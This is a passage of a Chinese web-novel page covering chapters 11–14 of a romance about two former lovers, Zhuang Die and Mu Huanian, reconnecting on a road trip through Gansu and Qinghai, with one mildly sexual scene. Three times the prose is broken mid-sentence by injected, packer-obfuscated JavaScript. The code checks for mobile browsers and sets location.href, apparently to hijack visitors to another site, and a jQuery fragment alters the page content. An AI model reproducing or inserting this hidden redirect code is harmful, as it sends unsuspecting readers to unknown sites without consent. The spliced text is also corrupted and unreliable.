慕华年没有质疑。虽然在他的印象中庄迭并没有国内的驾照,但既然说了,估计又是自己错过的瞬间,他不想自讨没趣。 “谢谢。” 慕华年单手戴好墨镜,庄迭又忍不住转头去看。 刚刚夹在他指间的鼻托,此刻停留在慕华年高挺的鼻梁上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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萧玲是典型的江南胃口,为数不多几次做面食还是甜口的,庄迭不喜欢,萧玲就做得更少了。 想到这,庄迭突然有些鼻酸。 “怎么了,辣吗?”慕华年推过面汤。 庄迭抿了一口,摇头道:“想到我妈了。” 慕华年抬头看他,庄迭笑着继续说:“就是觉得她这个人很难用好坏评价,尤其以我的立场来说。我不喜欢她做的面,她就几乎没有再吃过面。” “可能就是不合适吧,”慕华年了然,他抬手又往碗里倒了些醋,“关系这种东西,不合适就是不合适,强求不了。” 庄迭眉头微皱,有些埋怨自己怎么又找到了让慕华年借题发挥的话题,却听他说:“尤其是母子这种既定关系。” 哦,他说的关系是母子关系。庄迭不经意点头,继续低头吃面。 两个人吃完再次启程,庄迭开始开着车在这座陌生又空旷的小城随意逛游。 其实以他的工作来说,汽车应该是他最熟悉的东西,可爱好变成工作之后,每一次坐上驾驶位就意味压力。 自从庄迭退役后,他基本没有再这样自由开过车。 “我们晚上去鸣沙山吗?” “对。” 慕华年翻着手机,庄迭瞥见一张Excel,说:“我以为你没做计划。” 慕华年动作没停,继续翻阅后续的安排,“不做计划我出不了门。虽然计划大多会被打乱。” “那为什么还要定?” 慕华年顿了顿,关掉手机抬起头看窗外,“我不知道。” 这句话不是慕华年故意要噎他,他只是害怕计划外的失控,不过后来他觉得自己是享受这种被打乱的感觉。 庄迭却不敢继续这个话题了,他怕再引出什么让自己畏惧的东西。 可是这太奇怪了,他们明明爱过一次了,怎么会这么陌生? 陌生到让庄迭错以为,慕华年曾经答应自己的表白这件事,是自己的臆想。 11. 第 11 章 西北的冬日昼夜交替明显,夜幕低垂时分,庄迭和慕华年躺在安静的沙山上赏月。 今天的月亮很给面子,他们踏进景区尚有浮云遮望眼,等庄迭累了想要休息的时候,月亮从幕后来到台前。 冬天的鸣沙山游客不多,可能此时的天气对于庄迭这样的南方人来说终究还是太有挑战性了,从步履停下开始,慕华年能很明显感觉到他在发抖。 两个人并排躺着,庄迭周遭的沙会发出细碎的声响,若是旁人或许不会察觉,慕华年却朝庄迭靠了靠,“冷了就回去,盯一晚上月亮,它也不能是你的。” “至少我看着它的时候,它属于我。” 庄迭说话的声音还在发抖,他自己也察觉到了,再加之浅浅的笑声,听起来有些可怜。 “你夏天的时候来过吗?我朋友圈有人来听过音乐节,说是氛围很好。” “来过,”慕华年点头,“初三的夏天来的。那时候环线没火起来,没有这些设施,没有音乐节,也没有那么多人,和现在更像一点。不过整体来说夏天的鸣沙山是更活泼,可能它也冬眠。” 庄迭听得出慕华年在逗他,他转头,眉眼弯弯盯着眼前的人。他们所在的位置离路灯有些距离,庄迭只能借着月光描摹慕华年的轮廓。 “其实你也变了。” “嗯?”慕华年的回应带着倦意,庄迭继续说,“但我也不确定,我只是觉得,从前的我可能并不是真的认识你。” 沙山上的两个人慢慢被沉默的冬风侵蚀。 庄迭闭着眼感受自己体温的流逝,然后再借着和慕华年一点点的接触,偷来不属于自己的温度。 关于庄迭的话,慕华年没有解释也没有反驳。 “回去吧。明天还要早起,别吹感冒了。” 可能真是前一夜吹了风的缘故,庄迭次日再开口的时候带着鼻音。慕华年趁他洗漱时去药店买了冲剂,顺便把酒店的自助早餐打包了几样带上楼。 “吃完把药喝了。” 庄迭从浴室探出头,他刚洗完头,湿漉漉的头发垂在额前,慕华年没等他回答,伸手把他的脸推进去,“吹干再出来。不然我们直接可以原路返回了。” 紧接着慕华年就听到了吹风机的嗡嗡声,其中夹杂着庄迭断断续续的几句话,他反应了一会,索性走进浴室,问:“没听清,重说。” 庄迭把吹风机暂时关掉,“我说,你怪我吗?” “怪你什么?” “怪我明明很冷还非要吹风,怪我犟?” 慕华年摇头退出卫生间,庄迭听到他在倒热水,然后是筷子搅拌冲剂时与玻璃放出的碰撞声,“你昨天很快乐,对吗?” “嗯,很快乐,近几年第二快乐的一个晚上。” 慕华年略过了庄迭口中的那个第一,答道:“那就行。” 过了十分钟,庄迭收拾好从卫生间出来,慕华年坐在酒店的小餐桌边盯着他。 “可以继续刚才的话题吗?” 庄迭走过去,看了看桌上的早餐,有他喜欢的奶黄包、烧卖和无糖豆浆,还有一颗已经剥好的白水蛋,他一边问一边用吸管喝豆浆。 “想听我说什么?” “你为什么对我这么宽容?” 庄迭咬了一口奶黄包,内陷的甜蜜充斥着他的口腔,中和掉牙膏残留的薄荷味。慕华年斜靠在座椅靠背上,像是在盯着庄迭,又像是在发呆。 “不是我对你宽容,”慕华年开口,“是因为你的行为,只有你能负责。” 庄迭好像被见底的豆浆烫了一下,他皱着眉,没说话,拿起那颗鸡蛋吃。 “吹风了冷的是你自己,感冒了难受的是你自己,我需要负责的那部分是最无关轻重的,我当然可以轻飘飘说一句‘那就行’。”慕华年的声音听不出情绪。 “不是的,”庄迭当即反驳,“你构成了最重要的那部分,你不存在,这个旅行就不存在,我的快乐就不存在。” 庄迭意识到了这个话题在危险的边缘,可他控制不住自己。 他以为慕华年的话会终止在“责任自负”,可他后面的话又给庄迭铺了一层台阶,就好像只要庄迭愿意,他还愿意扮演男朋友的角色。 可这不对。 庄迭察觉出了更深的不对劲。 他想要的不是扮演着庄迭男朋友的慕华年,而是一个真正的慕华年。 忽然间,一切变得可悲起来。 庄迭嚼着嘴里的食物,混着还有些烫口的冲剂一起下肚。他第一次产生这种想法,他不知道从前的他放不下的,是慕华年的爱,还是慕华年这样的爱人。 “庄迭,要不我们就这样开车走吧,走到哪是哪。” 慕华年再次开口的时候,庄迭如梦初醒,他反应了几秒,点头,却又问:“那你的计划呢?” “不要了。” 一句“不要了”,让原本沿着青甘环线的导航找到了一条名为大通河的水域,慕华年关掉语音提示,只保留了地图上的交通情况显示。 他们沿着好似永远望不到尽头的河一直往前开,错过了人们口中叹为观止的翡翠湖和德令哈,却为某些不具名的荒原停留。 庄迭的相机里捕捉到的,是游牧民族遗留下的痕迹,是动物迁移的足迹,是生命存在过的证据。 在慕华年一个人向前走的时候,庄迭的相机也小心翼翼地记录着他。 那是一个论谁望去都会觉得孤独的背影,他几乎要与这片黄土融为一体,可在庄迭的取景框里,这个背影的孤独有一个别名,叫爱人。 车载蓝牙连接着庄迭的手机,一望无际的原野,曲调悠长。 不知道是不是真因为那一夜鸣沙的风,接下来几天庄迭都觉得头晕,一种不真实的恍惚将他眼前的景色铺陈开来,可他转头的时候,慕华年就坐在他身边,左手倚靠着车门,右手握着方向盘。 即便是梦,庄迭都不敢梦到这个程度,太奢侈了。 “前面我们就要和大通河告别了。” 慕华年指了指车窗外的路,这条和他们并行四天的河,与他们即将要选择的大路在某一个交汇点就此分离。 他们不能任性到追着一条河去无人区,大通河也不能为了陪伴而修改千年的路径。 谁都有谁的路要走。 庄迭因为吃过感冒药的缘故,这几天都没有摸方向盘,在慕华年出声前他正昏昏欲睡,听到声音后开始迷蒙地张望,过了好一会儿才说:“还会再见面吗?” “会,”慕华年向右打方向盘,大通河与他们越来越远,“等看到青海湖,你可以和它聊聊。他们也曾经走过一段路,然后又分开。” “再不济你对着海喊一声,回应你的,就是大通河。” 此时音响里放着《It''sAlwaysTheLittleThings》,歌手唱到“Whatdoesitmeanifwegiveup,HowcanIstillfeelthisloveforallthatwe’vebeenthrough,AndIdon’tknowwhatIshouldsay……”,庄迭跟着轻哼,突然开始流泪。 慕华年从侧边抽了一张纸巾递给他,庄迭笑了,慕华年也跟着笑。 在离曾经最远的今天,他们短暂地找到了曾经的彼此,至于明天会怎么样,交给明天。 “那个,是青海湖吗?” 不知道又开了多久,久到天色垂墨,庄迭昏昏沉沉睡了两觉,再睁眼的时候不远处有隐隐波光,他一边问,一边看车载地图。 “我们今晚住哪?” “我要先回答哪一个问题?” 此时的慕华年好像比以往更有耐心,语调轻扬,透露着庄迭不解的愉悦。 “都可以,”庄迭看着他,“不过你可以先回答我,你为什么这么高兴?” “也还好吧,我最近不都是这样吗?” 不一样。庄迭没有戳穿他,也没有继续追问,慕华年就自顾自说:“第一个问题,前面那个是湟水,我们要沿着它开一段。第二个问题,我们的目的地是西宁,今晚住那。” “又回到你的计划了吗?” “当计划被打破时它就不存在了。可走着走着,说不定就回到原路了。” 庄迭在这一刻彻底清醒。 他也并没有要慕华年回头去找二十二岁的庄迭。 二十七岁的庄迭会在慕华年的人生路上等着他。 这样……也可以吧? 然而夜色确实太黑,庄迭又错过了青海湖。他们从两片水域的夹缝中穿行,路过青海湖的时候,湖在慕华年那一侧,而庄迭转头的时候只能看到慕华年。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111607|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个人到西宁已经是晚上十点,可西北的城市好像都能将白天的热闹延续到了深夜,又或者十点在这还称不上夜晚。 慕华年开车经过一条小吃街的时候听到了音乐,看到有人群在围着跳舞。 “吃夜宵吗?” 庄迭点头,慕华年将车停到路边,两个人还没走几步就被一个小姑娘拦住。 “哥哥!买花吗!” 小姑娘梳着小辫,穿着民族服饰,眼睛亮亮的,几乎扑到了庄迭怀里。庄迭笑着扶住她,问:“我买花送给谁呀?” “你说呢?” 小姑娘倒是机灵,直接将花递到了慕华年手边。慕华年皱了皱眉,看起来有点凶,小姑娘犹豫了一下,却未收回递花的手。 “多少钱?” 小姑娘意外地看着慕华年,他接过花,同时从口袋里拿出加油站找的零钱,“现金可以吗?” “可以!三十块!” 其实这束花在西北的寒冬里已经被递给过无数人了,在搓摩中慢慢消散了光彩,值不了三十块。可慕华年没有还价,他抽了一张十块和一张二十给女孩。 “永远幸福!”女孩说完攥着钱跑远。 慕华年低头看着手上的花,有玫瑰,还有一些随便从花圃摘的,包装也算不上多精美,比不上庄迭从前送他的任何一束。 “你要吗?” 慕华年语气轻松,他没动,也没看庄迭,可是庄迭脸上的笑容慢慢堆起来。 “难不成是买给自己的吗?” “不行?” 庄迭没有再嘴硬,伸手接过花束,两个人继续往前走。 “三十还是有点贵了。” 过了好久,庄迭忽然开口,慕华年轻笑一声,“现在才反应过来?” “不是,我当时就觉得贵,但是你动作太快,我要是开口,岂不是驳了你的面子?” 慕华年笑了笑,“都不容易,再加上节日溢价,正常。” 节日。 庄迭怔忡,后来他们路过一家咖啡馆,橱窗贴着“情人节特惠——情侣第二杯半价”,他才反应过来。 才三年,他就忘记了二月十四是情人节,明明从前是他最喜欢追着慕华年讨要各种节日礼物的。 庄迭此时再端详手上的花,那些被风霜掠过的花瓣好像更加脆弱。 “很久不过,忘了。” 慕华年应了一声,什么也没说,带着庄迭走进一家烤羊肉店。 “吃什么?” 慕华年递来菜单,庄迭手里的花显得突兀,可他的确一刻也不想放下。 “你点吧,我饿了。” 慕华年嘴角弧度加深,他指着菜单和老板报了几个名字,回头时,庄迭仍对着花发呆。 “就这么喜欢?” “嗯。”庄迭用手指摸了摸花瓣上的痕迹,“因为是二十七岁的庄迭,收到的第一束花。” 慕华年点了点头,拆开一次性餐具给庄迭倒了红枣茶,然后抽了三张纸巾平铺在桌上,向庄迭伸出手,“给我吧,先吃饭。” 庄迭没有执拗,他把花递过去,手指抽离的时候擦过慕华年的手腕。 “你走了,院子里的花呢?”饭吃到一半,慕华年看到桌上的花后突然问。 “房子卖了。” “为什么?” 庄迭端着桌上的红枣茶喝了一口,“房子越大,显得我越落寞。张叔走了,你也走了,我晚上上厕所都能听到自己的回声,瘆人。” 慕华年其实也很喜欢那一院春色。他在那儿和庄迭滚了一身泥土,两个人都把对方种在土里又养了一遍。 “现在我住的房子离公司近,离你学校也近,我有时候晚上会去莱顿逛逛。”庄迭继续说,“我们俩住够了。” 慕华年什么也没说。 在二月十四的最后半小时,他们回到酒店。 庄迭依旧捧着那束花,他先是把花放在自己床头,后来又觉得不妥当,找了一个饮料瓶接了半瓶水。 他不知道这看上去就脆弱的花还能活多久,但他想让它哪怕多活一秒也行。 慕华年就靠着床头看他忙忙碌碌,没有评价,没有调侃,酒店昏黄的灯光带着独有的温柔。 二月十四,平静的一夜。庄迭在道了晚安后偷偷溜下床,亲吻了玫瑰,也亲吻了慕华年的额头。 12. 第 12 章 “今天去哪儿?” “庙里。” 塔尔寺香火萦绕,过年期间有好些外地人到庙里来祈福。庄迭怕被人群冲散,一下车就紧紧跟着慕华年的步子。 慕华年由他跟着,沉默地沿着寺庙的白墙向前走,过了一会儿发现庄迭没有跟上来。 “怎么了?”他回头问。 这一刻,两个人之间没有任何阻碍,人群中央,唯独剩下他们之间留有空白。 一束阳光初升,佛塔的尖顶闪耀着金光,他们站在一排整齐的白塔旁。庄迭少有这样好的运气,他抓住了这个瞬间,拍下了一张难得的正面照。 “没什么,走吧。” 他满意地看着手上的照片,指腹轻抚镜框旁的光晕,将相机重新挂好,快步追上。 “我想回去做一面照片墙。” 庄迭若无其事地开口,慕华年“嗯”了一声,庄迭侧头看他,“不问为什么?也不问在哪?” “你拍照好看,放哪都好看。” 慕华年说得真诚,庄迭也就不继续追问了。 倒是这个简单的问题惹得慕华年出神,他想起了被自己遗忘的那张拍立得。 那天他回到家,换衣服的时候从口袋里把照片小心翼翼拿出来。照片的右上角有一个折角,慕华年皱着眉试图抚平,可拍立得相纸娇贵,痕迹像是原本就长在上面一样。 那张照片最后被他收进护照夹里,夹在荷兰的那一页。 他不是故意丢掉的。 “慕华年,你信佛吗?” 大殿里,长长的跪拜队伍一直排到门口。慕华年本来要绕过去走,庄迭却站住脚排在最后,于是他又迈着步子走回来。 队伍看着长,可每个人的愿望呼之欲出,移动的速度很快。庄迭打量着周遭的一切,凑近慕华年耳边小声问。 他们面前是一对上了岁数的夫妻,小声许愿的时候面色凝重,结束后男人站起来头也不回地离开,女人起身的时候有些艰难。 慕华年静静看着这一切,没由来地想到一句话,贫贱夫妻百事哀。但他没有任何反应,对于庄迭的问题也是。 轮到庄迭了,他上前跪在那团灰扑扑的垫上,即使跪着也依旧挺着腰,背打得很直,从额角蜿蜒而下的线条贴着他的发梢,帽檐,最后坠进慕华年的外套。 他侧头望向慕华年,眼前的人背着光看不真切,他没有开口,因为他觉得慕华年有些犹豫。 就好像如果他们同时跪在佛前,就要暴露某些不可言说的亵渎。 庄迭心虚地笑了笑,转身闭眼,先向佛做了忏悔,连带着慕华年的那一份。 不过很快,他身旁很快传来动静,慕华年还是和他跪在了一起。 庄迭像是等到了什么,他双手合十,小声许下自己的愿望,话还说完,嘴角的笑意已经溢了出来。 直到最后,慕华年也没有许愿。 庄迭闭着眼睛没有看到,慕华年双手合十的瞬间看的不是大佛,而是身边虔诚许愿的人。 从庄迭跪下的那一瞬间,慕华年的视线就没有动过,他对庄迭的愿望心知肚明。 那愿望佛应不了,只有他能应。 可是他不敢应。 临走前慕华年将口袋里最后一百元投进功德箱,他的手拂过已经斑驳的红木箱子,抬眼,与庄严的大佛对视。 佛眼垂眸,笑观人心。 慕华年觉得自己被一览无余,但所幸,佛不会和任何人说他心里的秘密。 “所以,你许了什么愿望?”庄迭问。 慕华年用摇头做了回答。 绕过前庭,庄迭一直跟在慕华年身后,两个人从人群里挤出来走进岔路,拐了几个弯意外来到寺庙的后院。 庄迭犹豫了一下这里会不会对外开放,但慕华年步子很稳,他决定放心跟着他走。 他们来之前西宁也下了雪,再加之后院鲜有人来,越往里走地上的雪越干净。那雪看着厚厚的一层,庄迭的靴子踩上去却顷刻化成了水,只有鞋底与白雪交合时,咯吱作响。 庄迭下巴冻得绯红,二十多岁的人第一次觉得踩雪这么有意思。他脚步放慢,却也不开口叫慕华年等等,反正一抬头就能看到雪地上这串脚印。他玩着玩着,没忍住笑出声,慕华年又一次站住脚回头看他。 “你继续走,我会追上你的。” 此刻的他们,就像一个独自放学回家的小孩半路遇到了贪玩的蝴蝶。蝴蝶一会儿在花间,一会儿在树下,却总有一刻会回到小孩身边。 那是一种不言自明的心安,对蝴蝶,对小孩来说都是。 走了挺久,遇到一扇小门,慕华年推开,墙外依稀有人群的嘈杂声。 庄迭跟着他走近,从一排转经筒旁经过,他伸手去摸冰凉的圣器,问:“你来过这?” “小时候来过,很多年前。这原来是开放的藏医院,后来迁走了。” “藏医院?”庄迭动作微滞,“为什么会来医院?” “就这么怕吗?” 慕华年问完有一瞬恍惚,他没回头,步子却故意放慢,足够庄迭将每个转经筒转满一圈。 “只是碰巧路过,爸对这些感兴趣,来了就顺便看看。不过最后什么也没买,就带了盒檀香。” 庄迭松了口气。 慕华年继续走,停在转经筒的尽头,离庄迭三步之遥,他问:“刚才许愿的时候那么认真,那你信佛吗?” 庄迭摇头,最后三个转经筒他每一个都摸得仔细,“张叔说他从战场下来的时候就只信自己。我觉得我受了他的影响。” 提到张宪,庄迭笑得温和,慕华年转身盯着他,又问:“那怎么非要去拜,还非要把每个转经筒都摸一遍?” “人总还是喜欢把希望寻个寄托。”庄迭抬起头,眼瞳清亮,帽檐压下眉梢,却遮不住颤动的双睫。他微微眯眼,笑着说:“因为心有所愿,却力不从心。” 庄迭的手滑过转经筒的边缘,再往前一步,他就可以在佛前亲吻慕华年了。 只是他说完就低下了头,寂静雪景中有一两声轻笑传进慕华年的耳朵。 离开寺庙前,庄迭回头看了一眼佛塔,他突然想做个虔诚的信徒。 车一口气开到门源加油站。慕华年停好车熄了火。看了眼时间,估摸着下午两点才能到城里。于是他去便利店买了点吃的,把周韵做的最后两个油饼递给庄迭。 “你不饿吗?”庄迭接过他拧开的水瓶,顺了顺嘴里的东西。 “你先垫垫,进城再吃饭。” “我问你呢。” 慕华年斜倚在车门边,低头看他,“早上吃多了,不饿。” 庄迭吃东西仔细,塑料袋摊在掌心,一点渣都不掉。慕华年看着,觉得此刻的他尤其像猫,那种吃完东西要舔爪子的猫。 “慕华年,”庄迭吃完最后一口,坐直了还是比站着的慕华年矮一截,只好仰头看他,“你不用这么小心翼翼的。” “你不欠我的。” 不欠吗? 刚才庄迭在雪地里走,每一步都踩在慕华年心上,他在前面走得心不在焉,全副注意力都在那小心翼翼的动静上。 和庄迭在一起的时候太快乐了。只要庄迭在身边,不管说什么做什么,慕华年都觉得高兴。 可上次在一起,难道不就是贪图这份开心吗? 爱他,不就是因为他能给你你自己给不了的情绪? 正午太阳明晃晃的,庄迭看见慕华年地上的影子动了动,笑着继续说:“我是真想和好,特别想,三年前我上了飞机就后悔了,可我还是走了。我是成年人,懂你那句‘责任自负’什么意思,我没指望你轻易原谅。”他顿了顿,“你不用有什么负担,不用像上次那样答应我。” “上次哪样?” 慕华年声压很低,庄迭更不敢抬头了,“就因为我那句‘你舍得让我遗憾吗’。” 从西宁到门源这段,夏天能看到整片的油菜花。可惜现在是冬天,放眼望去只有白茫茫的戈壁滩。 不过那样美的油菜花庄迭也还是见过的,在慕华年的手机里,是十四岁的他和家人的合照背景。 有些话一说出口就知道会是什么结果,就像现在,车里的沉默几乎要压死他,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这顿饭让他踏实不少,热气腾腾的锅子,早上现宰的羊肉,菜虽然种类不多但都很新鲜,他很久没吃过火锅,也很久没和人说过这么多话。 有时候晚上路过莱顿,庄迭会不自觉地停下脚步,他觉得自己越来越像从前的慕华年,不知道是好是坏。 “累吗?” 回到车上,车里一股火锅味。慕华年拿起通风口的清新剂喷了两下,打开内循环。 这车有些老,内循环一启动,就算不发动也嗡嗡响,两个人的沉默在这时显得更加明显。 “连续跑十几天了,今天歇歇吧。回酒店收拾一下,睡个觉,晚上随便逛逛。” 庄迭应了声好,拧动车钥匙。慕华年不知在想什么,直勾勾盯着刚才吃饭的店。庄迭打了转向灯左右看看,往右转头时随口问:“刚吃饭的时候就挺沉默的,想什么呢?” 慕华年顿了顿,回过神,“人和人的日子终究还是不一样。幸福这东西,求佛求不来。” 从进店起,慕华年就想起寺庙里那对貌合神离的夫妻。他们是大多数中年夫妻的缩影,相敬如宾,但难掩岁月蹉跎后的凉薄。 可火锅店老板两口子不一样。店面不大,收银台贴着儿子高中的奖状。老板娘收拾得利索,一个人管着前厅,虽然忙但精神头很好。老板年纪大些,手上都是握刀的老茧,裤腿上混着血渍和水渍,看着疲惫,但说起老婆孩子,眼角的皱纹里都是笑。 年纪差不多的两对夫妻,日子却过得天差地别。 庄迭懂他的意思,他看过去的时候,正好后视镜里老板娘拿着洗好的围裙出来,将那张满是生活的布料晒在阳光正好的时候。 “可能大多数感情到最后,都是靠责任在撑着,不是爱。” 庄迭说得很平静,眼睛看着前方。慕华年却因为这句话转过头来。 “但这也没什么,”庄迭笑了笑,“或许我们会是那极少数爱到最后的,又或许我们也不过尔尔,可至少相爱的时候别分开,你说呢?” 13. 第 13 章 庄迭这一觉睡得特别沉,不知道是中午吃多了碳水还是把心里话说出来了,整个人都松快了。醒来时天黑沉沉的,他往旁边床一摸——空的。 “慕华年?” 房间里没人应。庄迭心里咯噔一下,赶紧摸到壁灯开关,慕华年的行李都还在,可他还是不安,趿拉着拖鞋就往外走,一开门冷风扑面,正好撞见个人影。 “醒了?” 庄迭往后让了让,慕华年擦着他胳膊进屋,把手里的外卖放在桌上,是西湖牛肉羹的香味。 庄迭本来不饿,闻到这味儿突然就觉得胃里空落落的。他笑了笑关上门,老老实实坐到桌前。 “你什么时候醒的?怎么不叫我?” 慕华年没说话,走过去把空调温度调低了一点,经过时带起一阵淡淡的烟味。 “你去抽烟了?”庄迭一边拆外卖盒子一边问。 慕华年动作顿了顿,“嗯,下车的时候看到那盒烟,点了一根。没抽完,还是不喜欢。”说着拿起洗漱用品往卫生间走:“我去洗澡。” 庄迭笑了笑,他其实没有那么讨厌烟味了。 大学毕业在职场上混了这么久,哪个饭桌子上不是烟雾缭绕?他忍不了,自然有人能忍,那他就要接受别人不给他投资,他就还要过仰人鼻息的日子。 这么一比,烟味反而好受多了。 卫生间的水流哗哗响着,很快有潮气漫出来。这酒店条件确实一般,庄迭都不知道平台上的星级是怎么评上的。 刚进门时慕华年就皱了眉头,他嫌麻烦,衣服一脱往床上一躺,慕华年也就没有换地方。 庄迭一勺一勺吃碗里的菜羹。西北的西湖和江城的西湖是两个味道。 他先吃过西北的,后来在江城点过,结果那边的羹是酸的。说不上哪个更好吃,只是冲着回忆去的,味道不对总觉得差点什么。 这碗羹应该是慕华年单独打出来的,因为上面撒了香菜,而慕华年不吃香菜。 卫生间的门开了,庄迭也刚好吃完,慕华年擦着头发出来。 “晚上去哪想好了吗?” “不想出门了,还是累。” 庄迭收拾好外卖盒,刚要起身就被慕华年接了过去。他开门把垃圾放在门外,但屋里还是飘着淡淡的牛肉羹味儿。 “吃饱了吗?” “本来也不饿。” 这对话实在没什么营养,但庄迭聊得挺开心。他重新躺回床上,靠着床头看慕华年对着镜子整理头发。 慕华年本来打算回家前理个发,结果庄迭一来就把计划打乱了。现在刘海长得都快遮住眼睛,水珠顺着发梢滴到黑色的纯棉睡衣上,湿了的地方贴在身上,刚好勾勒出腰线,再往下,那双腿又直又长。 他脚踝处有一颗痣。庄迭当然看不见,但是他记得。 庄迭就这样明目张胆地打量着慕华年,屋里只开着一盏壁灯,灯光有些暧昧。 他突然想起第一次在酒吧遇见慕华年的样子。 那天的灯光也是这样,昏暗中吐露着暖意,慕华年站在吧台后面,庄迭只能看到他的上半身,但他忍不住想象吧台下的样子。 后来事实证明,他的想象力很不错,一切都和他喜欢的一模一样。 “看够了吗?” 慕华年没回头,但庄迭从镜子里看见他在看自己,他笑了笑,诚实地摇头道:“没有。” “累了就早些休息。” “睡够了,不困。” 庄迭把怀里的被子往上拢了拢,更专心地看着慕华年。不管想象多少次,他觉得自己还是会在遇见的第一眼就被这个人吸引。 慕华年给他的感觉很复杂,混合着神秘感,那种即使赤裸地躺在床上时也依旧看不清的朦胧;还混合着破碎感,让庄迭总想靠近。 “刚好有时间,聊会儿?”慕华年走过来坐到他面前。 庄迭脑子里的自言自语戛然而止,他警铃大作,不由自主地直起腰,“行,你问吧。” “问?”慕华年笑了,“问什么?我没什么可问的。我是说聊天,随便聊些什么。怎么,才三年,天也不会聊了?” 他们以前经常在做完后抱着聊天,庄迭怎么会忘,可他们还没有做。 庄迭推开被子,整个人跪在床上,他那一侧照着光,斜射下来刚好打在他的腿上。慕华年看到了,挑了挑眉不为所动,问:“单纯聊天做不到吗?” 庄迭摇头,他的脚尖陷在床垫里,整个人罩着一层迷蒙的诱惑力,慕华年下意识向后挪了挪。 就这一个细微的动作,卸了庄迭所有勇气与兴致。他跌坐回床上,床垫顺着重量弹了两下。慕华年听到他小声抱怨:“这样都不行吗?” “你就这么想要?” “什么?” 慕华年什么也没说,起身吻了上去。他的口腔里还带着漱口水的辛辣,庄迭皱了皱眉,让渡过去的空气里带着不满,可慕华年全然不理会。 事实证明这酒店还是有优点的,床垫够软。用枕头垫着腰,庄迭一点都不觉得难受。他的思维被夜色撞得七零八落,他试图抓住些什么,最后摸到了慕华年掉在床角的睡衣。 他像是急着寻找解药的病人,那件睡衣被他紧紧攥在手里。他其实也不痛,可他不敢抱慕华年,他没想到慕华年会答应。 今天的慕华年有些不一样。庄迭呜咽着,小声念了句“阿弥陀佛”。 他应该还会再来塔尔寺,他觉得这里的佛真灵,下次来的时候他会更加虔诚,会供奉一些香火钱。如果可以的话,再追加一个愿望,他希望今夜长久一些,最好永远不会经过。 可那注定是下一次的愿望,大汗淋漓后世界停摆。 庄迭感受到胸口有一团毛绒绒的东西,他尝试着睁开眼睛,慕华年就靠在他胸口。 标间的单人床几乎要容纳不下两个一米八几的男人,他们缩在一起,比在慕华年家那张小床上时更亲密。 慕华年累了。他下午没睡多久就醒了,盯着床上睡得正香的小动物看了一会,最后觉得自己有些变态,起身出去一个人闲逛。 儿时记忆不剩什么,慕华年漫无目的地在街头走。青海的海拔更高,好像风也更凌厉,他身上这件羽绒服扛得住肃城的冬天,但面对这里的风有些心有余而力不足。 不过他没有想要回去的意思,他知道自己回去又会继续盯着庄迭发呆。 庄迭应该要睡很久,他最 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慕华年哑着嗓子问,他的睫毛划过庄迭的小腹,惹得身下的人不自觉颤栗。 “可以。” 明明刚才是自己在叫,庄迭却觉得慕华年嗓子更哑,他伸手揉了揉慕华年的头发,刚洗完的头发好像又脏了,庄迭笑得有些心虚。 “其实我也不知道要聊什么,”慕华年声音很轻,庄迭觉得他要睡着了,“就是想听你说说话。” 突然有些鼻酸。庄迭扭过头,把眼泪蹭在枕头上,说:“想听我说话,怎么不给我打电话?” 慕华年摇头,“不打。我想好放你走的。” “那你就这么忍着?” 慕华年轻轻点头,乖得让庄迭心里更酸。 “庄迭,”怀里的人继续问,庄迭低头看他,“转经筒的时候,冷吗?” “冷,手都冻僵了,可我怕少转一个佛觉得我不用心。” “不会的,他知道。” “原来他知道呀。” 庄迭把这辈子所有的耐心都用在这儿了,声音比任何时候都软,他想着慕华年不是去抽烟了吗,怎么和喝醉了一样,什么都说。他顺着慕华年的呼吸轻轻拍着他的背,一下一下,怀里的人气息更轻了。 “困了?” “嗯,但是没聊完。” 庄迭笑了一声,“行,继续聊。那你说说你为什么不想和我在一起了?” 慕华年没回答,庄迭也没指望他能回答。他很清醒,庄迭知道。 “那我现在说当初为什么走,你敢听吗” 慕华年还是没动,却在庄迭要开口时伸手捂住了他的嘴:“别让我知道了。” 话音刚落,怀里的人沉了些,慕华年睡着了。庄迭叹了口气,看着怀里的人,什么也说不出来。 两个人装聋作哑过了二十多天,心里都扎着根刺。不拔出来硌得慌,拔出来又怕留个窟窿。终究是时间有些长了,沉疴难愈。 都是难得糊涂的人。 第二天再醒来,两人默契地谁都不提昨天的事。各自洗漱收拾,然后开车继续上路。他们还有一站,张掖,然后呢? 谁又能知道。 14. 第 14 章 返程的速度比来的时候要快些,也不知道是不是自己的错觉。 庄迭看着窗外飞速消逝的荒原,慢慢也从千篇一律中看出每处戈壁的特色,比如此时,门源连着祁连,他没看到油菜花,但看到了冰雪覆盖后的草原。 没有绿意,没有生命的迹象,草原的深处还是草原。或许会有一条不知名的河横亘在那里,但它也被冰封了,它动不了,同整块沉默的草原一起接受冬雪的洗礼。 生在江城,长在欧洲,庄迭高中时和朋友去过美国西部,追寻过所谓的牛仔生活。他见过一望无际的地平线陡然升起烈日,那一刻他为活着感到快乐。 今天,同样望不到头的路,同样荒芜,冬风拍打着窗户,车内的热气与窗外的冷气对冲,炸裂在庄迭耳边,呼啸而过。 终究还是不一样,这里更静些。 那种深沉的、像是压抑着什么的寂静,就长在这片土地上,就如同长在这里的人。 